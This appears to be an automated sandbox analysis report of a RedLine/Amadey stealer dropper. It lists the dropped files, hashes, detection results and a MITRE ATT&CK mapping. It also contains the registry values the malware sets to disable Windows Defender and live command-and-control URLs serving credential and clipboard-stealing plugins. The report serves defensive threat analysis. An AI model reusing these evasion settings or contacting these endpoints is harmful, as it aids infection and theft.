Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe

Code function: 2_2_020296A8 GetUserNameA,

2_2_020296A8

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00A32BFB GetVersion,GetModuleHandleW,GetProcAddress,CloseHandle,

0_2_00A32BFB

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender real time protection (registry)

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection DisableIOAVProtection 1

Jump to behavior

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Stealing of Sensitive Information

Yara detected RedLine Stealer

Source: Yara match	File source: 2.2.arJf.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.arJf.exe.580e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.arJf.exe.5b0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.arJf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.360346336.0000000000400000.00000040.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.362707528.0000000000580000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.336400821.00000000005B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 28.2.mnolyk.exe.70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.mnolyk.exe.70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.0.mnolyk.exe.70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.0.mnolyk.exe.70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.file.exe.4a09a20.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.mnolyk.exe.70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.0.mnolyk.exe.70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.mnolyk.exe.70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.xriv.exe.10a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.file.exe.4a09a20.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.0.mnolyk.exe.70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.0.xriv.exe.10a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.0.mnolyk.exe.70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.mnolyk.exe.70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001C.00000002.412655905.0000000000071000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000000.401919368.0000000000071000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.667787109.0000000000071000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.395838344.00000000010A1000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.774984109.0000000000071000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000000.394346269.00000000010A1000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000000.412434202.0000000000071000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000000.538870814.0000000000071000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.539099474.0000000000071000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.404038192.0000000000071000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000000.395382320.0000000000071000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000000.667491618.0000000000071000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.249730772.00000000049A9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe, type: DROPPED

Yara detected Amadey bot

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0000000F.00000002.775467476.0000000001139000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.775467476.0000000001189000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: mnolyk.exe PID: 2728, type: MEMORYSTR

Yara detected Amadeys Clipper DLL

Source: Yara match	File source: 27.2.rundll32.exe.6fb90000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6M6D1PMD\clip64[1].dll, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll, type: DROPPED

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match	File source: 2.2.arJf.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.arJf.exe.580e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.arJf.exe.5b0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.arJf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.360346336.0000000000400000.00000040.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.362707528.0000000000580000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.336400821.00000000005B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	3 Native API	1 Windows Service	2 Bypass User Access Control	21 Disable or Modify Tools	1 Input Capture	2 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	14 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 System Shutdown/Reboot
Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Access Token Manipulation	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	1 Input Capture	Exfiltration Over Bluetooth	2 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	1 Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Windows Service	2 Obfuscated Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	3 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	1 Service Execution	1 Services File Permissions Weakness	111 Process Injection	2 Software Packing	NTDS	36 System Information Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	113 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	1 Scheduled Task/Job	1 Timestomp	LSA Secrets	131 Security Software Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	1 Registry Run Keys / Startup Folder	2 Bypass User Access Control	Cached Domain Credentials	21 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	1 Services File Permissions Weakness	1 Masquerading	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	21 Virtualization/Sandbox Evasion	Proc Filesystem	1 System Owner/User Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	1 Access Token Manipulation	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	111 Process Injection	Network Sniffing	Process Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	1 Services File Permissions Weakness	Input Capture	Permission Groups Discovery	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop
Compromise Software Supply Chain	Unix Shell	Launchd	Launchd	1 Rundll32	Keylogging	Local Groups	Component Object Model and Distributed COM	Screen Capture	Exfiltration over USB	DNS			Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
file.exe	69%	ReversingLabs	Win32.Spyware.RedLine
file.exe	51%	Virustotal		Browse
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\IXP000.TMP\brJg.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6M6D1PMD\clip64[1].dll	81%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	81%	ReversingLabs	Win32.Spyware.RedLine
C:\Users\user\AppData\Local\Temp\IXP000.TMP\brJg.exe	49%	ReversingLabs	Win32.Trojan.Tedy
C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	81%	ReversingLabs	Win32.Spyware.RedLine
C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe	28%	ReversingLabs
C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	82%	ReversingLabs	ByteCode-MSIL.Trojan.Disabler
C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll	81%	ReversingLabs	Win32.Trojan.Amadey

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://62.204.41.4/Gol478Ns/index.php79e5342a2	0%	Avira URL Cloud	safe
http://62.204.41.4/Gol478Ns/Plugins/cred64.dll	0%	Avira URL Cloud	safe
http://62.204.41.4/Golol478Ns/index.php	0%	Avira URL Cloud	safe
http://62.204.41.4/Gol478Ns/Plugins/clip64.dll6	0%	Avira URL Cloud	safe
http://62.204.41.4/Gol478Ns/index.phpz	0%	Avira URL Cloud	safe
http://62.204.41.4/Gol478Ns/index.phprosoft	0%	Avira URL Cloud	safe
http://62.204.41.4/Gol478Ns/Plugins/cred64.dll	2%	Virustotal		Browse
http://62.204.41.4/Gol478Ns/index.php$	0%	Avira URL Cloud	safe
http://62.204.41.4/Gol478Ns/index.phpK	0%	Avira URL Cloud	safe
http://62.204.41.4/Gol478Ns/index.phpL	0%	Avira URL Cloud	safe
http://62.204.41.4/Gol478Ns/index.phpn	0%	Avira URL Cloud	safe
http://62.204.41.4/Gol478Ns/index.phpi	0%	Avira URL Cloud	safe
http://62.204.41.4/Gol478Ns/index.phpT	0%	Avira URL Cloud	safe
http://62.204.41.4/Gol478Ns/Plugins/cred64.dllA	0%	Avira URL Cloud	safe
62.204.41.4/Gol478Ns/index.php	0%	Avira URL Cloud	safe
http://62.204.41.4/Gol478Ns/Plugins/clip64.dll	100%	Avira URL Cloud	malware
http://62.204.41.4/Gol478Ns/index.php/	0%	Avira URL Cloud	safe
http://62.204.41.4/Gol478Ns/index.phpQ	0%	Avira URL Cloud	safe
http://62.204.41.4/Gol478Ns/index.phpp	0%	Avira URL Cloud	safe
http://62.204.41.4/Gol478Ns/index.php	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

⊘No contacted domains info

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://62.204.41.4/Gol478Ns/Plugins/cred64.dll	true	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://62.204.41.4/Gol478Ns/Plugins/clip64.dll	true	Avira URL Cloud: malware	unknown
62.204.41.4/Gol478Ns/index.php	true	Avira URL Cloud: safe	low
http://62.204.41.4/Gol478Ns/index.php	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://62.204.41.4/Golol478Ns/index.php	mnolyk.exe, 0000000F.00000002.775467476.0000000001182000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://62.204.41.4/Gol478Ns/index.php79e5342a2	mnolyk.exe, 0000000F.00000002.775467476.0000000001139000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://62.204.41.4/Gol478Ns/Plugins/clip64.dll6	mnolyk.exe, 0000000F.00000002.775467476.0000000001139000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://62.204.41.4/Gol478Ns/index.phpz	mnolyk.exe, 0000000F.00000002.775467476.0000000001139000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://62.204.41.4/Gol478Ns/index.phprosoft	mnolyk.exe, 0000000F.00000002.775467476.0000000001139000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://62.204.41.4/Gol478Ns/index.php$	mnolyk.exe, 0000000F.00000002.775467476.0000000001139000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://62.204.41.4/Gol478Ns/index.phpK	mnolyk.exe, 0000000F.00000002.775467476.00000000010FA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://62.204.41.4/Gol478Ns/index.phpL	mnolyk.exe, 0000000F.00000002.775467476.0000000001139000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://62.204.41.4/Gol478Ns/index.phpn	mnolyk.exe, 0000000F.00000002.775467476.0000000001139000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://62.204.41.4/Gol478Ns/index.phpi	mnolyk.exe, 0000000F.00000002.775467476.0000000001139000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://62.204.41.4/Gol478Ns/index.phpT	mnolyk.exe, 0000000F.00000002.775467476.0000000001139000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://62.204.41.4/Gol478Ns/Plugins/cred64.dllA	mnolyk.exe, 0000000F.00000002.775467476.0000000001139000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://62.204.41.4/Gol478Ns/index.php/	mnolyk.exe, 0000000F.00000002.775467476.00000000010FA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://62.204.41.4/Gol478Ns/index.phpp	mnolyk.exe, 0000000F.00000002.775467476.0000000001139000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://62.204.41.4/Gol478Ns/index.phpQ	mnolyk.exe, 0000000F.00000002.775467476.00000000010FA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
62.204.41.4	unknown	United Kingdom		30798	TNNET-ASTNNetOyMainnetworkFI	true

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	799672
Start date and time:	2023-02-06 18:33:46 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 12m 30s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	34
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@37/14@0/1
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 63.2% (good quality ratio 60.5%) Quality average: 85% Quality standard deviation: 24.3%
HCA Information:	Successful, ratio: 90% Number of executed functions: 100 Number of non-executed functions: 116
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240s for rundll32

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): www.bing.com, client.wns.windows.com, fs.microsoft.com, login.live.com, ctldl.windowsupdate.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
18:35:55	API Interceptor	2091x Sleep call for process: mnolyk.exe modified
18:35:56	Task Scheduler	Run new task: mnolyk.exe path: C:\Users\user~1\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
62.204.41.4	file.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php
	file.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php
	file.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php
	file.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php
	file.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php
	file.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php
	file.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php
	file.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php
	file.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php
	file.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php
	file.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php
	file.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php
	file.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php
	file.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php
	file.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php
	file.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php
	file.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php
	file.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php
	QEb6ybdVBd.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php
	9U2j7fIA6J.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
TNNET-ASTNNetOyMainnetworkFI	file.exe	Get hash	malicious	Browse	62.204.41.4
	file.exe	Get hash	malicious	Browse	62.204.41.4
	file.exe	Get hash	malicious	Browse	62.204.41.4
	file.exe	Get hash	malicious	Browse	62.204.41.4
	file.exe	Get hash	malicious	Browse	62.204.41.4
	file.exe	Get hash	malicious	Browse	62.204.41.4
	file.exe	Get hash	malicious	Browse	62.204.41.4
	file.exe	Get hash	malicious	Browse	62.204.41.4
	file.exe	Get hash	malicious	Browse	62.204.41.4
	d5Mz8LcQ40.exe	Get hash	malicious	Browse	62.204.41.5
	file.exe	Get hash	malicious	Browse	62.204.41.4
	file.exe	Get hash	malicious	Browse	62.204.41.4
	4tZ5R2O8ru.exe	Get hash	malicious	Browse	62.204.41.5
	Z7MMw0PTfb.exe	Get hash	malicious	Browse	62.204.41.5
	file.exe	Get hash	malicious	Browse	62.204.41.4
	file.exe	Get hash	malicious	Browse	62.204.41.4
	cGvwe523RO.exe	Get hash	malicious	Browse	62.204.41.170
	file.exe	Get hash	malicious	Browse	62.204.41.4
	9Nn6GvGMz1.exe	Get hash	malicious	Browse	62.204.41.170
	07wuYH0G0l.exe	Get hash	malicious	Browse	62.204.41.170

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6M6D1PMD\clip64[1].dll	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	QEb6ybdVBd.exe	Get hash	malicious	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\nika.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.354940450065058
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2wlAsDZiIv:Q3La/KDLI4MWuPTxAIv
MD5:	B10E37251C5B495643F331DB2EEC3394
SHA1:	25A5FFE4C2554C2B9A7C2794C9FE215998871193
SHA-256:	8A6B926C70F8DCFD915D68F167A1243B9DF7B9F642304F570CE584832D12102D
SHA-512:	296BC182515900934AA96E996FC48B565B7857801A07FEFA0D3D1E0C165981B266B084E344DB5B53041D1171F9C6708B4EE0D444906391C4FC073BCC23B92C37
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\10a17139182a9efd561f01fada9688a5\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\arJf.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.355221377978991
Encrypted:	false
SSDEEP:	6:Q3La/xwchM3RJoDLIP12MUAvvR+uCqDLIP12MUAvvR+uTL2LDY3U21v:Q3La/hhkvoDLI4MWuCqDLI4MWuPk21v
MD5:	03C5BA5FCE7124B503EA65EF522177C3
SHA1:	F76B1F538D5EA66664355901E927B2F870ACCDD8
SHA-256:	8128CE419BBE0419F1A0BDE97C3A14E3377C0184DC1D7AF61AA01AAB756B625B
SHA-512:	151A974DDABA852144EC4BC18C548227A32E5261736F186A3920F2497434AEE9DBB0E0AB77E0E52A84A9FBC4529A158882B7549763400DDC2082D384B1135141
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6M6D1PMD\clip64[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	91136
Entropy (8bit):	6.3469756750979025
Encrypted:	false
SSDEEP:	1536:Fto4NPCKLbqoYkbpplW9YoUsxXzbcouNhj2ZszsWuKcdJU7dz5QIaB89p:roUCWbBNpplToUs1uNhj25LJUDaB89p
MD5:	C79B74D8FEC5E7E2BA2F1789FD582A15
SHA1:	78A1E5D99DBACCC5E07B125E1DFB280112CB3128
SHA-256:	B5BD049D32F0FAEEA6CE65A0F0D326DE5BC4427A7C1AD24BFB0EA050C1DEC7D3
SHA-512:	0DEBFC54904FD538CFB1FC648D18F90A991337200B3DECF74B28AC2F341843FB3BAB4F45BC92CFEC333B18DFFF9CC136854462E79054A39926A7BD8EE2E057BA
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_3, Description: Yara detected Amadey\'s Clipper DLL, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6M6D1PMD\clip64[1].dll, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 81%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: QEb6ybdVBd.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........,Cy..Cy..Cy.....~Iy.....~.y.....~Qy.....~Ly.....~Ry.....~by.....~Fy..Cy...y.....~@y.....~By......By.....~By..RichCy..........PE..L....8.c...........!.................>....................................................@..........................J......<K..<...............................T... ?..p............................?..@...............,............................text...V........................... ..`.rdata...a.......b..................@..@.data...D....`.......D..............@....rsrc................P..............@..@.reloc..T............R..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	241664
Entropy (8bit):	6.368190069123744
Encrypted:	false
SSDEEP:	6144:YS/OgTLnk2FBtze+1T9uA/qruVyhVYjgVO:dO3v+uA+uVyhVvO
MD5:	8BB923C4D81284DAEF7896E5682DF6C6
SHA1:	67E34A96B77E44B666C5479F540995BDEACF5DE2
SHA-256:	9B0410052289A8416A458401FBB9A74D6361F4769465431B209F32151D7C6F21
SHA-512:	2DAED03277A343DB5FCB22E26BAEA5CDA41DE39DC825FE0AAD51F6EC181B8F38F09427F27FB58FFD179F37032600D107EF772CC6275F7D0D62899C6CD3F8AFF7
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 81%
